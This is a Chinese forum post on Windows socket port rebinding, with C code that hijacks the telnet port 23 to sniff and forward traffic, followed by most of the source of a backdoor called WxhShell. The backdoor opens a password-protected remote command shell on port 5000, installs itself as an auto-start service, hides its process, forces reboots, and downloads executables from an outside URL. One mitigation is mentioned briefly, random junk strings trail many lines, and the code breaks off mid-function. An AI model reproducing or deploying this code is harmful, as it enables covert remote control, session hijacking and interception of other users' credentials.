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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &xS] ;Fr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =m?x5G^  
CD)JCv  
  saddr.sin_family = AF_INET; {br6*  
uiaZ@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p9~$}!ua  
dU|&- .rG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w!52DBOe+  
< !PbD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p^ )iC&*0  
mfr7w+DK  
  这意味着什么?意味着可以进行如下的攻击: ,xy$h }g  
.\"8H1I\T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?PU7xO;_  
.-cx9&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D8)6yPwE  
R-1C#R[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 + y|Q7+  
B5!|L)7>{p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'E4}++\  
Eu$hC]w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q4Y7 HE|ym  
; r95i1a'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z4D[nPm$  
X=%e'P*X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t+A9nvj)  
B[;aNyd<  
  #include 6rN.)dL.#N  
  #include [(Ihue  
  #include %G'P!xQhy  
  #include    ?l^NKbw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .c\iKc#  
  int main() *Jg&:(#}<J  
  { (vwKC D&  
  WORD wVersionRequested; nYy+5u]FG  
  DWORD ret; r|Q/:UV?w  
  WSADATA wsaData; 1krSX 2L  
  BOOL val; 6sNw#pqh  
  SOCKADDR_IN saddr; GyQvodqD  
  SOCKADDR_IN scaddr; Qv1cf  
  int err; ria.MCe\!  
  SOCKET s; S X[  
  SOCKET sc; r)[Xzn   
  int caddsize; `"y:/F"{  
  HANDLE mt; jh/aK_Q,w  
  DWORD tid;   .:B;%*  
  wVersionRequested = MAKEWORD( 2, 2 ); NPLJ*uHH  
  err = WSAStartup( wVersionRequested, &wsaData ); TECp!`)j"  
  if ( err != 0 ) { PgYIQpV  
  printf("error!WSAStartup failed!\n"); &|fWtl;43  
  return -1; 'oF('uR  
  } *)s^+F 0  
  saddr.sin_family = AF_INET; :O]US)VSj  
   aJ J63aJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f;obK~b[  
}[SYWJIc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O<y65#68Z  
  saddr.sin_port = htons(23); SL?YU(a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @81N{tg-  
  { * 5(%'3  
  printf("error!socket failed!\n"); TPNKvv!s  
  return -1; ma@!"Z8 S  
  } JHg y&/  
  val = TRUE; [rReBgV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Sgn<=8,6c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'j\mz5#s  
  { DJ|lel/'  
  printf("error!setsockopt failed!\n"); a.fdCI]%  
  return -1; S#S&_#$`,X  
  } Pdk#"H-j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k;jXVa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qn)AS1pL+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &A~hM[-  
| &/_{T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e;9x%kNs!  
  { d^d+8R  
  ret=GetLastError(); M# cJ&+rP  
  printf("error!bind failed!\n"); Zhc99L&K  
  return -1; z+<ofZ(.  
  } DY1"t7 9E  
  listen(s,2); 5jHr?C  
  while(1) =-/sB>-C  
  { ;3+_aoY  
  caddsize = sizeof(scaddr); @x_0AkZU  
  //接受连接请求 gpogv -  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c"/Hv  
  if(sc!=INVALID_SOCKET) 3(_:"?xA  
  { ,6SzW+L7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yacN=]SW5  
  if(mt==NULL) $ J!PSF8PL  
  { C0CJ;   
  printf("Thread Creat Failed!\n"); &!B4v<#,U  
  break; 9hjzOJPuga  
  } Zm6|aHx8v  
  } +g_m|LF  
  CloseHandle(mt); .pIO<ZAFT  
  } %$67*pY'JH  
  closesocket(s); -@.FnFa  
  WSACleanup(); `bF4/iBW  
  return 0; EF'8-*  
  }   Y)DF.ca(  
  DWORD WINAPI ClientThread(LPVOID lpParam) \4>& zb4  
  { #dQFs]:F  
  SOCKET ss = (SOCKET)lpParam; 1,+swFSN  
  SOCKET sc; b"w@am>&  
  unsigned char buf[4096]; Jv?EV,S/e  
  SOCKADDR_IN saddr; ubM  N  
  long num; SNSHX2  
  DWORD val; 9V>C %I  
  DWORD ret; 2x~Pq_?y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FSYs1Li_C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0bteI*L  
  saddr.sin_family = AF_INET; {+V ]@sz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ /rKKc  
  saddr.sin_port = htons(23); S2>$S^[U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _%(.OR  
  { ]d.e(yCuE  
  printf("error!socket failed!\n"); nX8ulGGs  
  return -1; QWE\Ud.q  
  } ,h<x Y>  
  val = 100; Y++n0sK5<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "^wIixOH5  
  { z>)lp$  
  ret = GetLastError(); X$_pDF&\z  
  return -1; MHJRBn{}  
  } FsS.9 `B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U65oh8x  
  { V!NRBXg  
  ret = GetLastError(); wLNk XC  
  return -1; #Y'ewu;qJ  
  } p-H}NQ\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9+ |W;  
  { U5p3b;  
  printf("error!socket connect failed!\n"); ^ 4*#QtO  
  closesocket(sc); s"p\-Z  
  closesocket(ss); z<gII~%  
  return -1; TeFi[1  
  } 4gZ)9ya   
  while(1) \["I.gQ  
  { )a9C3-8Y'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8Wgzca Q*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /T+%q#4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  btBu[;  
  num = recv(ss,buf,4096,0); t%Bh'HkG  
  if(num>0) $-]I?cWlQ  
  send(sc,buf,num,0); 00@F?|-j  
  else if(num==0) =sF4H_B  
  break; x=kJl GT  
  num = recv(sc,buf,4096,0); z m]R76  
  if(num>0) {a15s6'd  
  send(ss,buf,num,0); @!^Y_q  
  else if(num==0) $k`j";8uR  
  break; VCwC$ts  
  } Yv0y8Vz@  
  closesocket(ss); BCtKxtbS  
  closesocket(sc); f?> ?jf  
  return 0 ; &.qLE  
  } 6C/Pu!Sx?  
oTrit_@3  
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========================================================== .&I!2F  
`?SC.KT  
下边附上一个代码,,WXhSHELL DuLl"w\_@  
N1 sdWXG  
========================================================== ^# 4e_&4  
l dp$jrNLr  
#include "stdafx.h" ]c bXI  
M^Tm{`O!  
#include <stdio.h> 5.D0 1?k  
#include <string.h> mq(-L  
#include <windows.h> gtT&97tT<  
#include <winsock2.h> F{rC{5@fj  
#include <winsvc.h> W|"bV 6d3  
#include <urlmon.h> uGHM ]"!)  
v=Q!ioE7  
#pragma comment (lib, "Ws2_32.lib") eu":\ks  
#pragma comment (lib, "urlmon.lib") Z?V vFEt%  
<PM.4B@  
#define MAX_USER   100 // 最大客户端连接数 z, FPhbFn  
#define BUF_SOCK   200 // sock buffer 1/&^~'  
#define KEY_BUFF   255 // 输入 buffer ~z")';I|  
3Tp8t6*nL  
#define REBOOT     0   // 重启 <N>7.G  
#define SHUTDOWN   1   // 关机  g_Rp}6g  
s_^N=3Si   
#define DEF_PORT   5000 // 监听端口 {Ppb ;  
7U^{xDg.b  
#define REG_LEN     16   // 注册表键长度 N(3Bzd)   
#define SVC_LEN     80   // NT服务名长度 mn*}U R  
H328I}7  
// 从dll定义API *{5/" H5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L\5:od[EP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |_QpB?b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /I{K_G@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f( 5; Rf(  
] SLeWs  
// wxhshell配置信息 06Q9X!xD  
struct WSCFG { Qwve-[  
  int ws_port;         // 监听端口 9U4[o<G]=  
  char ws_passstr[REG_LEN]; // 口令 ` N R,8F  
  int ws_autoins;       // 安装标记, 1=yes 0=no -$_FKny  
  char ws_regname[REG_LEN]; // 注册表键名 -$Kc"rX  
  char ws_svcname[REG_LEN]; // 服务名 E7hs+Mh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~%eE%5!k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ts3!mjn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f9 :=6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no />pAZa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {u9n?Z%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 adRIg:2  
_HjB'XNr(  
}; I+SfZ:q ^  
uXvE>VpJG  
// default Wxhshell configuration D>ou,  
struct WSCFG wscfg={DEF_PORT, &4 #%xg  
    "xuhuanlingzhe", +nim47  
    1, <|]i3_Z  
    "Wxhshell", @ &rf?:  
    "Wxhshell", Om>?"=yDE  
            "WxhShell Service", }_}    
    "Wrsky Windows CmdShell Service", bj0<A  
    "Please Input Your Password: ", Ciz,1IV  
  1, ShvC4Xb 0  
  "http://www.wrsky.com/wxhshell.exe", o|c&$)m  
  "Wxhshell.exe" 5wE6gRJ  
    }; jC$~m#F  
O '`|(L  
// 消息定义模块 %++S;#)~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Da!vGr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q8.Z7ux  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m7Ry FnR2  
char *msg_ws_ext="\n\rExit."; %e)vl[:}  
char *msg_ws_end="\n\rQuit."; Y,EF'Ot  
char *msg_ws_boot="\n\rReboot..."; JUXBMYFus  
char *msg_ws_poff="\n\rShutdown..."; :#_k`{WG  
char *msg_ws_down="\n\rSave to "; #7]>ozKm  
r'_#rl  
char *msg_ws_err="\n\rErr!"; z4` :n.  
char *msg_ws_ok="\n\rOK!"; l@u  "iGw  
6W3."};  
char ExeFile[MAX_PATH]; +lZ-xU1  
int nUser = 0; $}5M`p\&C  
HANDLE handles[MAX_USER]; Z=;=9<vA  
int OsIsNt; e%4vvPp  
{f*{dSm9b  
SERVICE_STATUS       serviceStatus; |2 =w":2#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (~! @Uz5  
7;C~>WlU  
// 函数声明 .y_~mr&d  
int Install(void); )"|wWu  
int Uninstall(void); CdcB E.%<  
int DownloadFile(char *sURL, SOCKET wsh); p]?eIovi  
int Boot(int flag); Dq9f Fe  
void HideProc(void); hkV*UH{  
int GetOsVer(void); W<[7LdAB  
int Wxhshell(SOCKET wsl); o8IqO'  
void TalkWithClient(void *cs); 5p:2gsk  
int CmdShell(SOCKET sock); -]Mk} z$  
int StartFromService(void); (^sb('"  
int StartWxhshell(LPSTR lpCmdLine); 4ji'6JHPg  
xaV3N[Zd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +l!.<:sp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,zH\P+*  
3,{;wJ Z  
// 数据结构和表定义 3[l\l5'm8  
SERVICE_TABLE_ENTRY DispatchTable[] = l&"bm C:xr  
{ v&%W*M0q@  
{wscfg.ws_svcname, NTServiceMain}, xdY'i0fh  
{NULL, NULL} AXi4{Q,  
}; 0"+QWh  
QJ>=a./  
// 自我安装 cIkA ~F  
int Install(void) UYQ@ub  
{ /k^j'MMQs6  
  char svExeFile[MAX_PATH]; 6z/&j} (  
  HKEY key; 9ao?\]&t  
  strcpy(svExeFile,ExeFile); f(K1 ,L:&7  
;ByCtVm2  
// 如果是win9x系统,修改注册表设为自启动 O8rd*+  
if(!OsIsNt) { |Xd& aQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sk0/3X*Q%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vp d!|/  
  RegCloseKey(key); g u' +kw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~)X;z"y%b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |8x_Av0  
  RegCloseKey(key); i12G\Ye  
  return 0; j.+,c#hFo  
    } Et}%sdS  
  }  #.Ly  
} 4"{g{8  
else { >qGWDCKr  
20`XklV  
// 如果是NT以上系统,安装为系统服务 L]BTX]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >SYOtzg%  
if (schSCManager!=0) P>x88M  
{ 7ruWmy;j  
  SC_HANDLE schService = CreateService _n4`mL8>kH  
  ( c\tw#;\9  
  schSCManager, Ls.g\Gl3  
  wscfg.ws_svcname, BCd0X. m(  
  wscfg.ws_svcdisp, V2tA!II-s  
  SERVICE_ALL_ACCESS, p!?7;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r.:f.AY{  
  SERVICE_AUTO_START, AP=SCq;  
  SERVICE_ERROR_NORMAL, `fVzY"Qv k  
  svExeFile, cRf;7G  
  NULL, p{SIGpbR&  
  NULL, Esg:  
  NULL, T).}~i;!  
  NULL, {c&9}u$e  
  NULL gK dNgU  
  ); #}Ays#wA>?  
  if (schService!=0) wc~9zh  
  { E!I4I'  
  CloseServiceHandle(schService); i@<w"yNd_  
  CloseServiceHandle(schSCManager); (m.jC}J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y%YP  
  strcat(svExeFile,wscfg.ws_svcname); (KfdN'vW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H-X5A\\5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WFqOVI*l  
  RegCloseKey(key); O&">%aU1I  
  return 0; K:pG<oV|}  
    } F{}:e QD  
  } 5pRVA  
  CloseServiceHandle(schSCManager); 7FP"]\x  
} ~$Z_#,|i?  
} [~Z#yEiW^  
_tO2PI L@Z  
return 1; r&L1jT.  
} Vr&v:8:wb  
z:{R4#(Q  
// 自我卸载 tfe'].uT  
int Uninstall(void) A+3=OBpkW0  
{ O9{A)b!HB  
  HKEY key; 8R;E+B{  
^AUQsRA7PZ  
if(!OsIsNt) { #`"B YFV[E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;:Kc{B.s  
  RegDeleteValue(key,wscfg.ws_regname); Mq6_Q07  
  RegCloseKey(key); `]Vn[^?D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $,T3vX]<  
  RegDeleteValue(key,wscfg.ws_regname); .3 ^*_  
  RegCloseKey(key); i\MW'b  
  return 0; m :]F &s  
  } er!+QD,EM  
} 7G_lGV_  
} Aca ?C  
else { {Z[kvXf"mZ  
):Ekf2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s: MJ{r(s  
if (schSCManager!=0) TR{dNO!q  
{ ayA_[{j%X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :!,.c $M  
  if (schService!=0) bW'Y8ok[v  
  { vF@.B M>  
  if(DeleteService(schService)!=0) { 9x9E+DG#(  
  CloseServiceHandle(schService); +Pn`AV1  
  CloseServiceHandle(schSCManager); k_%maJkXp  
  return 0; #8bI4J{dE  
  } GuJIN"P]  
  CloseServiceHandle(schService); j7HOh|q  
  } "QY~V{u5  
  CloseServiceHandle(schSCManager); jH4Wu`r;m  
} 9p"';*{=  
} m$q*  
u #7AB>wi{  
return 1; @{880 5Dp  
} sM%.=~AN  
cACnBgLl  
// 从指定url下载文件 sZU Ao&  
int DownloadFile(char *sURL, SOCKET wsh) tLx8}@X"  
{ h6(L22Hn  
  HRESULT hr; .O.fD  
char seps[]= "/"; WJ]g7!Ks  
char *token; :#W>lq@H  
char *file; w;^7FuBaC  
char myURL[MAX_PATH]; Aj=c,]2  
char myFILE[MAX_PATH]; R~BW=Dz,e  
W{;LI WsZ  
strcpy(myURL,sURL); d _koF-7  
  token=strtok(myURL,seps); fP1fm  
  while(token!=NULL) mDU-;3OqF  
  { qk(u5Z  
    file=token; *(<3 oIRS  
  token=strtok(NULL,seps); =TXc - J  
  } k8"[)lDc.  
kc:2ID&  
GetCurrentDirectory(MAX_PATH,myFILE); &oiBMk`*  
strcat(myFILE, "\\"); z[_Gg8e  
strcat(myFILE, file); {pB9T3ry]  
  send(wsh,myFILE,strlen(myFILE),0); v#+tu,)V;  
send(wsh,"...",3,0); 2VS#=i(B^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /ec~^S8X  
  if(hr==S_OK) rkWW)h(e  
return 0; I~Z m**L  
else 9L9mi<,  
return 1; <i1P~  
q0 8  
} [ x|{VJ(h  
4'# _b  
// 系统电源模块 OKzk\F6  
int Boot(int flag) =t-503e.J  
{ ::kpAE]  
  HANDLE hToken; JTB5#S4W  
  TOKEN_PRIVILEGES tkp; }L*cP;m#  
KHXnB  
  if(OsIsNt) { pG:)u cj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S>p>$m, Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DnPV Tp(>  
    tkp.PrivilegeCount = 1; cj/FqU"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S-+^L|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h9J  
if(flag==REBOOT) { S b3@7^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uw@|Y{(K r  
  return 0; jDc5p3D&[]  
} tI(co5 W  
else { b%,`;hy{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b}r3x&)  
  return 0; [t`QV2um  
} %Gs!oD  
  } /=qn1  
  else { u5FlT3hY.  
if(flag==REBOOT) { = 8%+$vX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bx<7@  
  return 0; /P|jHK|{  
} FeFH_  
else { #VEHyz6P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I2'UC) 0  
  return 0; _sCpyu  
} %fz!'C_4  
} SSF4P&  
Wz7jB6AWA  
return 1; D?Q{&6p  
} z7J2O  
u-. _;  
// win9x进程隐藏模块 #`4ma:Pj  
void HideProc(void) X;0DQnAI8j  
{ I(Yyg,1Z  
bmO[9 )G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RtR]9^:~  
  if ( hKernel != NULL ) IPnbR)[%  
  { OsR4oT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fW4N+2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fz8eL:i:  
    FreeLibrary(hKernel); cf0D q~G  
  } HIi 5kv]}|  
Xu:S h<:R  
return; MLcc   
} 3l 0>  
$9\!CPZ2  
// 获取操作系统版本 pemb2HQ'4j  
int GetOsVer(void) S0Y$$r  
{ u#Qd `@p  
  OSVERSIONINFO winfo; Ro?a DrQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S:Ne g!`  
  GetVersionEx(&winfo); F XOA1VEg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j xr~cp?4  
  return 1; i4N '[ P}  
  else dg 4 QA_"  
  return 0; g%Ap<iT  
} (;'?56  
}4kd=]Nk  
// 客户端句柄模块 1G+42>?<1  
int Wxhshell(SOCKET wsl) Ed)t87E  
{ ><[($Gq`g  
  SOCKET wsh; A@ EeX4N  
  struct sockaddr_in client; a<M<) {$u  
  DWORD myID; ^60BQ{ne  
iFW)}_.  
  while(nUser<MAX_USER) V Z;ASA?;  
{ -[4Xg!apO  
  int nSize=sizeof(client); R1FBH:Iu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (&FSoe/!['  
  if(wsh==INVALID_SOCKET) return 1; Cv|ya$}a  
r"a0!]n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gYx|Na,+  
if(handles[nUser]==0) |[?"$g9v  
  closesocket(wsh); ".eD&oX{  
else Z*QsDS  
  nUser++; nJ4i[j8  
  } Qsc%qt-l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /4]M*ls  
QOkPliX  
  return 0; l =ZhHON  
} Dm[4`p@IY\  
]w(i,iJ  
// 关闭 socket A - G?@U  
void CloseIt(SOCKET wsh) >v`lsCGb  
{ WLEjRx  
closesocket(wsh); uHUicZf.  
nUser--; V7!x-E/  
ExitThread(0); C9U~lcIS  
} o@r+Y  
e qQAst#~  
// 客户端请求句柄 m#mM2Guxe  
void TalkWithClient(void *cs) !h{qO&ZH=  
{ `6b!W0$ -  
}r6SV%]:  
  SOCKET wsh=(SOCKET)cs; HP2]b?C  
  char pwd[SVC_LEN]; DQd~!21\|  
  char cmd[KEY_BUFF]; =)(o(bfSKr  
char chr[1]; g6k@E,cI_  
int i,j; YsXP$y]g-  
z{cIG8z  
  while (nUser < MAX_USER) { ]n0kO&  
vW 0m%  
if(wscfg.ws_passstr) { 6yKr5tH4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6e$(-ai  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lN)U8  
  //ZeroMemory(pwd,KEY_BUFF); cejSGsW6q  
      i=0; C XZm/^  
  while(i<SVC_LEN) { !j6]k^ra  
NWSBqL5v   
  // 设置超时 q3B#rje>h  
  fd_set FdRead;  [ottUS@  
  struct timeval TimeOut; &)OX*y  
  FD_ZERO(&FdRead); H3}{]&a  
  FD_SET(wsh,&FdRead); 0x'>}5`5  
  TimeOut.tv_sec=8; HiEXw}Hkz  
  TimeOut.tv_usec=0; q-3%.<LL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LZV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xj iMM>|n  
!dYkvoQNn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ad8kUHf  
  pwd=chr[0]; ^$Dpdz I  
  if(chr[0]==0xd || chr[0]==0xa) { Sve~-aG  
  pwd=0; ;=Jj{FoG%  
  break; Slcf=  
  } r@0HqZx`  
  i++; agN`) F!  
    } >sdj6^[+  
{=j!2v#8~  
  // 如果是非法用户,关闭 socket .0S.7w3dZo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b40zYH`'{  
} 5@bLD P  
KD*,u{v;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !9DqW&8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' D+h_*H  
d>eVR  
while(1) { .HF+JHIUu  
f*7/O |Gp  
  ZeroMemory(cmd,KEY_BUFF); F_U3+J>  
`UL #g![J  
      // 自动支持客户端 telnet标准   "?hEGJ;m"  
  j=0; F`3c uL[N  
  while(j<KEY_BUFF) { 2c@R!*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5b R;R{:x  
  cmd[j]=chr[0]; f@Rn&&-  
  if(chr[0]==0xa || chr[0]==0xd) { :f?\ mVS+  
  cmd[j]=0; mdR:XuRD"t  
  break; |S|0'C*  
  } ~xpU<Pd*  
  j++; hV])\t=yf  
    } G0Smss=K  
E8u :Fg s  
  // 下载文件 }9 N, +*  
  if(strstr(cmd,"http://")) { N\1!)b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &/}]9 #  
  if(DownloadFile(cmd,wsh)) Xy:'f".M~\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y!;rY1  
  else h S}?"ST|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [WnX'R R  
  } A!No:?S  
  else { }:7'C. ."  
?2_Oa%M  
    switch(cmd[0]) { 3'8B rK  
  *+re2O)Eh'  
  // 帮助 wGD".CS0  
  case '?': { x'@0]f.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tbF>"?FY/  
    break; Nt9M$?\P  
  } A1zM$ wDU  
  // 安装 *x2+sgSf_0  
  case 'i': { kG/:fP  
    if(Install()) ifl`QZp_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t6BggO"_u  
    else @*e|{;X]hy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S)of.Nq.;  
    break; 3t5`,R1@t  
    } E8zga )  
  // 卸载 /UTeaM!?"  
  case 'r': { ;3OQgKI  
    if(Uninstall()) YwyP+S r\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~UX@%0%)N  
    else (wU<Kpt?J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B> *zQb2:  
    break; "<H.F 87Z)  
    } -"[o|aa^  
  // 显示 wxhshell 所在路径 |} ;&xI  
  case 'p': { ,3 &XV%1  
    char svExeFile[MAX_PATH]; %bgjJ`  
    strcpy(svExeFile,"\n\r"); "i_I<?aGB  
      strcat(svExeFile,ExeFile); ~+}w>jIm{|  
        send(wsh,svExeFile,strlen(svExeFile),0); S#6{4x4  
    break; x7)j?2  
    } u+UtvzUC  
  // 重启 b}< T<  
  case 'b': { x.CUJ^_.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |1wfLJ4--l  
    if(Boot(REBOOT)) (+ q#kKR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >=BH$4Ce  
    else { ggtGecKm  
    closesocket(wsh); ?TA%P6Lw  
    ExitThread(0); ;= ^kTb`X  
    } a|rN %hA4  
    break; ~=91Kxf  
    } A&X(\c M  
  // 关机 EjW3_ %  
  case 'd': { ~sT/t1Rp  
